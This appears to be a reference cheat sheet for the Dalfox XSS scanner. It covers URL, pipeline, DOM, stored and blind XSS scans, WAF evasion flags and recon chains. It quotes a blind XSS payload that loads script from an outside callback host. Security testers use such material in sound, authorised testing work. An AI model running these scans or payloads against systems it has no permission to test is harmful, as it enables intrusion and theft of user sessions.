Dalfox

dalfox

Fast XSS scanner — parameter analysis, DOM detection, blind XSS.

Quick Start

# Scan single URL
dalfox url "http://target.com/search?q=test"

# Scan from file
dalfox file urls.txt

# Pipe from other tools
cat urls.txt | dalfox pipe

Core Flags

Modes

Common Workflows

# Authenticated scan with cookie
dalfox url "http://target.com/search?q=test" \
    --cookie "session=abc123; user=admin"

# POST parameter scan
dalfox url "http://target.com/comment" \
    --data "content=test&id=1" \
    --method POST

# Blind XSS with custom callback
dalfox url "http://target.com/search?q=test" \
    --blind "https://your-xss-hunter.com/callback"

# Silent mode for clean output
dalfox file urls.txt -S --format json -o xss_findings.json

# Through proxy (Burp)
dalfox url "http://target.com/search?q=test" \
    --proxy "http://127.0.0.1:8080"

# Custom headers (JWT auth)
dalfox url "http://target.com/api?q=test" \
    --header "Authorization: Bearer eyJhbGc..."

# Skip DOM and dict mining (speed up)
dalfox file urls.txt \
    --skip-mining-dom --skip-mining-dict \
    --worker 50 -S

# With custom payloads
dalfox url "http://target.com/search?q=test" \
    --custom-payload payloads.txt \
    --only-custom-payload

Pipeline Integration

# Full recon → XSS pipeline with gf xss filter:
subfinder -d target.com -silent | \
    httpx -silent | \
    waybackurls | \
    sort -u | \
    gf xss | \
    dalfox pipe \
        -b "https://your.xsshunter.com/script.js" \
        --worker 30 --delay 100 \
        --waf-evasion \
        --format json -o xss_results.json

# gau → filter reflective parameters → dalfox:
gau target.com | \
    grep "=" | \
    qsreplace "FUZZ" | \
    dalfox pipe --custom-alert-value "FUZZ" -S

# Katana crawl → dalfox:
katana -u https://target.com -silent -jc | \
    grep "=" | \
    dalfox pipe -S

# Waybackurls → dalfox (historical URLs):
waybackurls target.com | \
    grep "=" | \
    uro | \
    dalfox pipe -S --worker 30

gf xss from tomnomnom/gf + 1ndianl33t/gf-patterns filters for historically XSS-prone params: q, s, search, query, url, redirect, next, ref, callback, etc.

Blind XSS Setup

# Use xsshunter.com OR self-hosted interactsh:
# Step 1: Get callback URL (xsshunter / interactsh / canarytokens)
BLIND_URL="https://xsshunter.com/your-unique-id"

# Step 2: Run with --blind
dalfox url "http://target.com/feedback?msg=test" \
    --blind "$BLIND_URL"

# dalfox injects payloads that load from blind URL:
# <script src="$BLIND_URL"></script>
# "><img src=x
# Trigger detected when callback URL is fetched

# With interactsh client:
interactsh-client &
IHOST=$(interactsh-client -server interactsh.com -token $TOKEN -v 2>&1 | grep "Listing" | awk '{print $NF}')
dalfox url "http://target.com/search?q=test" --blind "http://$IHOST"

DOM XSS

# DOM mining enabled by default
dalfox url "http://target.com/app" --cookie "session=abc"

# Deep DOM analysis (headless browser, slow but thorough)
dalfox url "http://target.com/app" --deep-domxss

# Skip headless for speed (fast triage, misses some DOM XSS)
dalfox url "http://target.com/app" --skip-headless

# Force headless verification for all findings
dalfox url "http://target.com/app" --force-headless-verification

# What dalfox tracks as sinks:
# - document.write / document.writeln
# - innerHTML / outerHTML / insertAdjacentHTML
# - eval() / setTimeout(str) / setInterval(str)
# - location.href / location.hash / location.assign()
# - jQuery .html() / .append() / .load()

Stored XSS Mode

# Inject at one URL, verify at another
dalfox sxss "https://target.com/comment/submit" \
    -d "author=test&body=test" \
    -C "session=abc123" \
    --trigger "https://target.com/comments/view"

# Paginated/ID-based trigger URL (SEQNC = incrementing number)
dalfox sxss "https://target.com/post" \
    -d "content=test" \
    --trigger "https://target.com/post/view?id=SEQNC" \
    --sequence 5

# With notification on find
dalfox sxss "https://target.com/profile/edit" \
    -d "bio=test" -C "session=abc123" \
    --trigger "https://target.com/profile/view" \
    --found-action 'echo "STORED XSS: $POCURL" >> findings.txt'

Automation with --found-action

# $POCURL env var = PoC URL for the finding
# Run any shell command when XSS is found

# Slack notification
dalfox url "https://target.com/?q=test" \
    --found-action 'curl -s -X POST \
    -H "Content-Type: application/json" \
    -d "{\"text\":\"XSS found: $POCURL\"}" \
    https://hooks.slack.com/services/YOUR/SLACK/WEBHOOK'

# Log with curl PoC
dalfox file urls.txt \
    --poc-type curl \
    --found-action 'echo "$POCURL" >> xss_findings.txt'

Config File

{
  "worker": 30,
  "delay": 200,
  "blind": "https://your.xsshunter.com/script.js",
  "cookie": "session=abc123",
  "format": "json",
  "poc-type": "curl",
  "waf-evasion": true,
  "output": "scan_results.json"
}

dalfox url "https://target.com/" --config config.json
# CLI flags override config file values

Output Parsing

# JSON output:
dalfox file urls.txt -S --format json -o results.json

# Parse findings:
cat results.json | jq '.[] | select(.type == "G") | {url: .data, param: .param, payload: .payload}'

# Types:
# G = Generic (verified XSS)
# B = Blind XSS sent
# R = Reflected (not confirmed)

# Count findings:
cat results.json | jq '[.[] | select(.type == "G")] | length'

Resources